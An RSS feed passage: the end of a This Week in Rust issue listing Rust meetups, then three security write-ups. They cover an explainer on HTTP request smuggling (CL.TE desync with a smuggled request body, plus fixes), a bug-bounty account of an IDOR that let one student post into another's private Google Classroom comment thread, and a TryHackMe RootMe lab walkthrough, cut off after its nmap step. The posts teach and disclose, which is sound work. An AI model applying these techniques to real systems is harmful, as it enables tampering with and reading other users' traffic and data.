<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-29 - 2026-08-26 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-31 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-03 | Virtual (Global) | <a href="https://luma.com/rust-maven">Rust Maven</a><ul>
<li><a href="https://luma.com/nwfmsdtf"><strong>Workshop: Add tests to an open source Rust project</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (Tel Aviv-yafo, IL) | <a href="https://www.meetup.com/rust-tlv">Rust 🦀 TLV</a><ul>
<li><a href="https://www.meetup.com/rust-tlv/events/315800760/"><strong>שיחה חופשית ווירטואלית על ראסט</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Cardiff, UK) | <a href="https://www.meetup.com/rust-and-c-plus-plus-in-cardiff">Rust and C++ Cardiff</a><ul>
<li><a href="https://www.meetup.com/rust-and-c-plus-plus-in-cardiff/events/315880365/"><strong>Operating Systems Book Club: Execution and Scheduling</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-07 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/313345333/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/315619609/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-08-14 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315604176/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
<li>2026-08-20 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520814/"><strong>August, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-20 | Virtual (Charlottesville, VA, US) | <a href="https://www.meetup.com/charlottesville-rust-meetup">Charlottesville Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/charlottesville-rust-meetup/events/315733791/"><strong>Tock OS Part #5 — Wireless Communication with the IEEE 802.15.4 protocol</strong></a></li>
</ul>
</li>
<li>2026-08-21 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/1bm27cah"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-25 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254775/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa</a></h5>
<ul>
<li>2026-08-11 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup">Johannesburg Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315750593/"><strong>Rust's extended standard library</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-08-22 | Bangalore, IN | <a href="https://hasgeek.com/rustbangalore">Rust Bangalore</a><ul>
<li><a href="https://hasgeek.com/rustbangalore/august-2026-rustacean-meetup/"><strong>August 2026 Rustacean Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-22 | Delhi, IN | <a href="https://www.meetup.com/rustdelhi">Rust Delhi</a><ul>
<li><a href="https://www.meetup.com/rustdelhi/events/315185336/"><strong>Rust Delhi X SciPy India Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-22 | Noida, IN | <a href="https://scipy.in/">SciPy India</a><ul>
<li><a href="https://scipy.in/sci-py-rs/"><strong>Scientific Computing in Rust and Python</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Copenhagen, DK | <a href="https://www.meetup.com/copenhagen-rust-community">Copenhagen Rust Community</a><ul>
<li><a href="https://www.meetup.com/copenhagen-rust-community/events/315767999/"><strong>Rust meetup #70</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Oxford, UK | <a href="https://www.meetup.com/oxford-rust-meetup-group">Oxford ACCU/Rust Meetup.</a><ul>
<li><a href="https://www.meetup.com/oxford-rust-meetup-group/events/315863373/"><strong>ACCU/Rust Summer social</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/315683629/"><strong>Hack Night: Trust but verify the LLM</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816474/"><strong>Topic TBD</strong></a></li>
</ul>
</li>
<li>2026-08-20 | Frankfurt, DE | <a href="https://www.meetup.com/rust-rhein-main">Rust Rhein-Main</a><ul>
<li><a href="https://www.meetup.com/rust-rhein-main/events/315855368/"><strong>Building an acoustic camera with egui and embassy</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315590399/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696652/"><strong>Utah Rust August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-13 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
<li><a href="https://www.meetup.com/san-diego-rust/events/315601099/"><strong>San Diego Rust August Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-08-15 | San Francisco, CA, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/juWAwRs3XMWP7s9wLNWK"><strong>BOG-A-THON 3</strong></a></li>
</ul>
</li>
<li>2026-08-18 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997215/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
<li>2026-08-19 | San Francisco, CA, US | <a href="https://luma.com/bayarearust">Rust Bay Area</a><ul>
<li><a href="https://luma.com/00f2s7q9"><strong>Rust Bay Area August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-20 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520814/"><strong>August, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-26 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/315171660/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>So let's talk about what the process has looked like for Netstack3. For 11 months, the team has been ramping up a dogfooding program. At peak, that program has seen about 60 devices running nearly 24/7 in developers' homes.</p>
<p>Again, if this were any other netstack, we would have expected to uncover a giant mountain of bugs in that time. So, over the past year, how many bugs did the team uncover in the field?</p>
<p>Three.</p>
</blockquote>
<p>– <a href="https://joshlf.com/posts/safety-unsafe-world/">Josh Liebow-Feeser on his blog</a></p>
<p>llogiq again has no one to thank for a suggestion, so he is thankful to himself for finding this quote instead.</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1vaibge/this_week_in_rust_662/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Most Overlooked Vulnerability — Http request Smuggling]]></title>
<description><![CDATA[HTTP Request Smuggling is one of those vulnerabilities that sounds complicated, but the core idea is actually simple. Let’s Understand it in simplest way possible.When your browser sends a request to a server there are generally two types of servers through which your request goes through -1. Fro...]]></description>
<link>https://tsecurity.de/de/3698170/hacking/the-most-overlooked-vulnerability-http-request-smuggling/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698170/hacking/the-most-overlooked-vulnerability-http-request-smuggling/</guid>
<pubDate>Mon, 03 Aug 2026 00:09:41 +0200</pubDate>
<content:encoded><![CDATA[<p>HTTP Request Smuggling is one of those vulnerabilities that sounds complicated, but the core idea is actually simple. Let’s Understand it in simplest way possible.</p><p>When your browser sends a request to a server there are generally two types of servers through which your request goes through -</p><h4><strong>1. Front end server</strong> (like a load balancer, reverse proxy, or CDN)</h4><h4><strong>2. Back end Server</strong> (Actual web application server)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KrBnk5bkHQy2mc_QVAYGOw.png"><figcaption>Types of Servers</figcaption></figure><p>The Front end Server uses a single TCP Connection and sends many requests at once to save computation time and costs.</p><p>The Question arises here is when a request comes to the Front end server how does it know that the request has ended here and the next request has been started, actually this is identified by the server using either of the two types of headers mentioned below-</p><h4><strong>1. Content-Length (CL)</strong></h4><h4><strong>2. Transfer-Encoding (TE)</strong></h4><p>Suppose there is a request as Follows :-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*yF-xzRw1C4vNBYFeg6dOBQ.png"></figure><p>Here as you can see the Content-Length Header has value set to 13, you might wonder why it’s 13 and what are those \r\n actually these are non printable characters and \r\n is known as <strong>CRLF</strong> (Carraige return Line feed) it is used to represent a new line.</p><p>These are non printable characters but they are counted in Content-Length calculation and \r is 1 byte and \n is also 1 byte so \r\n together counted as 2 bytes.</p><p>Again now also if you count the full length of the body it should be 15 bytes right ?</p><p>Nopes, the first \r\n is used to seprate header and body and body starts behind it so the content length will be 13 only.</p><p>So the front end server will read the Content-Length and would know that after 13 bytes the request will be finished and next request will be started from there.</p><p>Now what if the server is using Transfer-Encoding to know where the request gets Terminated ?</p><p>Suppose there is a request as Follows :-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*yYO6ljV5MSF22OdoXRY8Ew.png"></figure><p>There is slight difference in how size calculation is done in Content-Length and in Transfer-Encoding: chunked :-</p><p><strong>How Chunked Encoding Length Works :-</strong></p><p>In HTTP/1.1 chunked encoding, each chunk consists of:</p><ol><li><strong>Chunk size</strong> in <strong>hexadecimal</strong> followed by \r\n</li><li><strong>Chunk data</strong> (exact byte count specified by the size) followed by \r\n</li><li>A final chunk size of <strong>0</strong> followed by \r\n to end the message</li></ol><p>The chunk size specifies <strong>only the length of the data content</strong>, excluding the \r\n line breaks.</p><blockquote>So as you can see the chunk size in the request is 5 and in next line “Hello” which is of length 5 and in last line there is a <strong>0</strong> to tell the server that the request has been terminated.</blockquote><p><strong><em>All GOOD, but where is the Vulnerability ?</em></strong></p><blockquote>The Vulnerability arises when one of the servers from the front end server and the back end server is using either of the one technique to check for request termination.</blockquote><h4>Types of Vulnerabilities :-</h4><p><strong>1. CL.TE (Frontend uses </strong><strong>Content-Length, backend uses </strong><strong>Transfer-Encoding)</strong></p><p><strong>2. TE.CL (Frontend uses </strong><strong>Transfer-Encoding, backend uses </strong><strong>Content-Length)</strong></p><p><strong>3. TE.TE (Both use </strong><strong>Transfer-Encoding, but one parses it differently)</strong></p><blockquote>But you might wonder how do attackers actually exploit this vulnerability ?</blockquote><p>The answer is very simple they just add both the headers into the request and there is a <strong><em>desync</em></strong><em> </em>created between the servers as both of them are relying on different headers.</p><h4>Practical Example of a CL.TE Exploit -</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*FJhl1nT8ztN3YP-PLDYLUQ.png"></figure><p>Front-end trusts Content-Length&amp; Back-end trusts Transfer-Encoding</p><p><strong>What happens:</strong></p><ul><li><strong>Front-end</strong> reads Content-Length: 13, so it thinks the body is "0\r\n\r\nSMUGGLED" (13 bytes) — the request ends there. It forwards everything as one request.</li><li><strong>Back-end</strong> ignores Content-Length and instead trusts Transfer-Encoding: chunked. It sees the chunk 0, which means "end of chunked body" — so it treats the request as<strong> ending right there</strong>.</li><li>That leaves SMUGGLED sitting unconsumed in the connection buffer. The back-end now treats SMUGGLED as the <strong>start of the next request</strong> on that same connection.</li></ul><p>If another legitimate user’s request comes in right after on that same reused connection, the back-end may accidentally <strong>glue the attacker’s leftover text onto the front of that innocent request</strong> — corrupting it, redirecting it, or letting the attacker read/manipulate parts of someone else’s traffic.</p><blockquote>The attacker can also add a full new mallicious request at the place of SMUGGLED</blockquote><p>For example :-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*_jmuwick2KNKJqrkHS4NQg.png"></figure><p><strong>What happens:</strong></p><ul><li><strong>Front-end </strong>trusts Content-Length so it thinks everything inside those 43 bytes belongs to ONE request so forwards all of it.</li><li><strong>Back-end</strong> trusts Transfer-Encoding It sees 0 which means request finished.</li></ul><blockquote>So the <strong>remaning data remains in the request Pipeline</strong> and now the server thinks Ohhhhh <strong>a new request has just arrived</strong>.</blockquote><h4><strong>Classic HTTP Request Smuggling primarily affects only HTTP/1.1</strong> because HTTP/1.1 has ambiguous ways to determine where a request ends.</h4><blockquote>This ambiguity is what makes request smuggling possible.</blockquote><h3>Why Request Smuggling Matters (real-world impact)</h3><ul><li>Bypassing front-end security filters (WAF rules)</li><li>Stealing session tokens / hijacking other users’ requests</li><li>Cache poisoning</li><li>Gaining access to internal-only endpoints</li></ul><h3>The Fix</h3><ul><li>Reject requests that specify <strong>both</strong> Content-Length and Transfer-Encoding</li><li>Normalize/reject ambiguous requests at the front-end</li><li>Use HTTP/2 end-to-end where possible (removes this ambiguity)</li><li>Keep front-end and back-end parsers consistent, or use the same software stack</li></ul><h3>HTTP/2</h3><p>HTTP/2 <strong>does not use</strong>:</p><ul><li>Content-Length to delimit frames</li><li>Transfer-Encoding: chunked</li></ul><p>Instead, HTTP/2 sends data in <strong>binary frames</strong>, and each frame has its own explicit length. There is no ambiguity about where one request ends.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=0eeec415a0fb" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/the-most-overlooked-vulnerability-http-request-smuggling-0eeec415a0fb">The Most Overlooked Vulnerability — Http request Smuggling</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I found an IDOR in Google Classroom on Day 3 of my Hunting?]]></title>
<description><![CDATA[Hello Guys,Hope you are well. This is my first writeup and I will tell you how I found IDOR on Google Classroom on Day 3 of my hunting on Google. I hope it will inspire you.I selected my first target as Google Classroom because I use it daily for my University Assignments and Tasks.So first, I st...]]></description>
<link>https://tsecurity.de/de/3698175/hacking/how-i-found-an-idor-in-google-classroom-on-day-3-of-my-hunting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698175/hacking/how-i-found-an-idor-in-google-classroom-on-day-3-of-my-hunting/</guid>
<pubDate>Mon, 03 Aug 2026 00:09:41 +0200</pubDate>
<content:encoded><![CDATA[<p>Hello Guys,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/165/1*ArSTrnnngVR-hVEgD0PqwA.jpeg"></figure><p>Hope you are well. This is my first writeup and I will tell you how I found IDOR on Google Classroom on Day 3 of my hunting on Google. I hope it will inspire you.</p><p>I selected my first target as Google Classroom because I use it daily for my University Assignments and Tasks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*Q2kjiK9KRuMyZL07ClREFQ.png"></figure><p>So first, I started testing every feature, and I noticed in Burp History that Google is using Batchexecute system with <strong><em>rpcids</em></strong> for every UI functionality.</p><p>The batchexecute system at <strong><em>classroom.google.com</em></strong> is Google's internal frontend RPC protocol and it’s completely undocumented.</p><p>The batchexecute system works like, every UI action in Classroom triggers a POST request to the batchexecute endpoint with a parameter called <strong><em>rpcids</em></strong> that identifies which internal method to call.</p><p>For example when you post a comment in Classroom your browser sends something like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*uyHkKyaP38HwJG2ais41qg.jpeg"></figure><p>Then, I started mapping different UI functionalities with rpcids, for example:</p><p>ndas7c &gt; CREATE announcement<br>F7asdb &gt; UPDATE/EDIT announcement<br>tQbcjc &gt; READ/FETCH announcement<br>xxxxxx &gt; POST private comment on submission thread</p><p>These rpcids helped me map every Ui functionality.</p><p>After spending time mapping every RPC method in Classroom batchexecute system, most of my tests were coming back clean. Google’s auth on the obvious attack surfaces was solid. The well-known endpoints had proper authorization checks.</p><p>I was about to move on to a different target but I decided to look more carefully one last time at the private comment functionality on assignment submissions.</p><p>Private comments in Google Classroom are a specific feature designed for confidential communication between a student and their teacher about a particular assignment submission. When a student submits work they can leave private notes for the teacher and the teacher can respond. These comments are explicitly designed to be visible only to the submission owner and the teacher. No other student should be able to see or interact with that thread.</p><p>I gave it a try and said to myself that this is the last endpoint I will test on Classroom.</p><p>I had two test accounts set up, one acting as an attacker and one as a victim, both enrolled in the same course with submitted assignments. While intercepting traffic I started looking at the requests that fired when I posted a private comment on my own submission.</p><p>What caught my attention was the structure of the request. Like all batchexecute calls, it contained several ID parameters such as the course ID, the coursework ID, and crucially a submission ID that identified whose submission thread the comment was being posted to.</p><p>The question I asked myself was simple, what happens if I change that submission ID?</p><p>Then, I captured my second account same request and copied the submission ID.</p><p>I replaced my submission ID with the victim’s submission ID in the request, kept my own session cookies, and sent it.</p><p>The server returned 200 OK.</p><p>I opened the victim’s account and looked at their private submission thread. Yippee, my attacker comment was sitting there, visible to the victim and their teacher.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wtK-mAWIO0uvnEHNK9nFSw.png"><figcaption>Victim’s View</figcaption></figure><p>The authorization check wasn’t there for this particular RPC method. The server accepted the request, trusted the submission ID in the payload, and posted the comment without verifying that the commenter had any legitimate relationship to that submission.</p><p>Now, there was one thing I had to figure out that how to get the victim submission ID in a realistic scenario.</p><p>I started analyzing Burp History and found a response that was showing submission IDs of all students enrolled in the class. BOOM. I tested it again and found that on a specific endpoint, if you refresh the page and capture the request, you will see submission IDs of all students in the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H8ekS4jClt9PnCn4s4dwCQ.jpeg"></figure><p>I verified the finding from the teacher’s account as well. The unauthorized comment appeared there too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q7_VdyZpctUNe1fhZ82fnw.jpeg"><figcaption>Teacher’s View</figcaption></figure><p>I documented everything and submitted the report to Google VRP. Unfortunately, The report came back as a duplicate, but I was happy that I found a legitimate issue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PHTx5tcXXyIroo8npPENZw.jpeg"></figure><p>Finding a real vulnerability in a Google product as someone still building their skills felt significant, even if it ended up being a duplicate. The whole process taught me more than I expected, not just about bug hunting but about how to think like a security researcher.</p><p>Thank you for reading. Hope you enjoy it and hope it inspire you.</p><p>Follow me on Linkedin: <a href="http://linkedin.com/in/marrij">linkedin.com/in/marrij</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*1PVGVelnp7CU2Pnk9IIjZw.jpeg"></figure><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=abffd039406c" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-found-an-idor-in-google-classroom-on-day-3-of-my-hunting-abffd039406c">How I found an IDOR in Google Classroom on Day 3 of my Hunting?</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[TryHackMe(RootMe)- Write-Up]]></title>
<description><![CDATA[IntroHey everyone! Today we’re solving the TryHackMe room RootMe — a great beginner-friendly box that covers web enumeration, exploiting a file upload vulnerability to get a reverse shell, and then escalating privileges to root using a SUID binary.I’ll walk you through every single step, exactly ...]]></description>
<link>https://tsecurity.de/de/3698176/hacking/tryhackmerootme-write-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698176/hacking/tryhackmerootme-write-up/</guid>
<pubDate>Mon, 03 Aug 2026 00:09:41 +0200</pubDate>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sta_Uk105irl1Kg3muJAYw.png"></figure><h3>Intro</h3><p>Hey everyone! Today we’re solving the TryHackMe room <strong>RootMe</strong> — a great beginner-friendly box that covers web enumeration, exploiting a file upload vulnerability to get a reverse shell, and then escalating privileges to root using a SUID binary.</p><p>I’ll walk you through every single step, exactly how I did it, with simple explanations for each command so you actually understand <em>why</em> we’re running it, not just copy-pasting. Let’s go! 😄</p><h3>Task 1 — Deploy the Machine</h3><p>First things first — deploy the machine and connect to the TryHackMe VPN (or just use the AttackBox if you prefer). Once connected, you’ll get assigned a target IP, and that’s what we’ll be attacking throughout this room.</p><p>My target IP was: 10.48.145.206</p><h3>Task 2 — Reconnaissance (Information Gathering)</h3><h3>Nmap Scan</h3><p>The very first thing to do on any box — run an <strong>nmap scan</strong> to see what ports are open and what’s running on them.</p><pre>nmap -sC -sV -T5 10.48.145.206 -oN nmapresult.txt</pre><p><strong>Breaking down the command:</strong></p><ul><li>-sC → Runs Nmap's default <strong>scripting engine</strong> scripts, which gives extra useful details (cookies, headers, sometimes even vulnerabilities).</li><li>-sV → Detects the <strong>version</strong> of whatever service is running on each open port.</li><li>-T5 → Sets the scan <strong>speed</strong> to the fastest (T0 is slowest, T5 is fastest).</li><li>-oN nmapresult.txt → Saves the output to a file so you can refer back to it later.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rs1mT8bXebWnZ7Wmw3OGPw.png"></figure><p><strong>Result:</strong> Two ports were open:</p><p>Port Service Version 22 SSH OpenSSH 8.2p1 Ubuntu 80 HTTP Apache 2.4.41 (Ubuntu)</p><p>One small but important detail from the -sC scripts — the site was setting a PHPSESSID cookie. That's a dead giveaway that the backend is written in <strong>PHP</strong>, since that's PHP's default session cookie name.</p><blockquote><strong><em>Q: Scan the machine, how many ports are open?</em></strong><em> → </em><strong><em>2</em></strong></blockquote><blockquote><strong><em>Q: What version of Apache is running?</em></strong><em> → </em><strong><em>2.4.41</em></strong></blockquote><blockquote><strong><em>Q: What service is running on port 22?</em></strong><em> → </em><strong><em>SSH</em></strong></blockquote><p><em>(Small confession — I almost skipped noting the PHPSESSID detail the first time, but it ended up being pretty useful later when picking which reverse shell to use. Little details like this matter more than they seem!)</em></p><h3>Gobuster — Finding Hidden Directories</h3><p>Next, let’s find out if there are any hidden pages or folders on the web server using <strong>Gobuster</strong>.</p><pre>gobuster dir -u 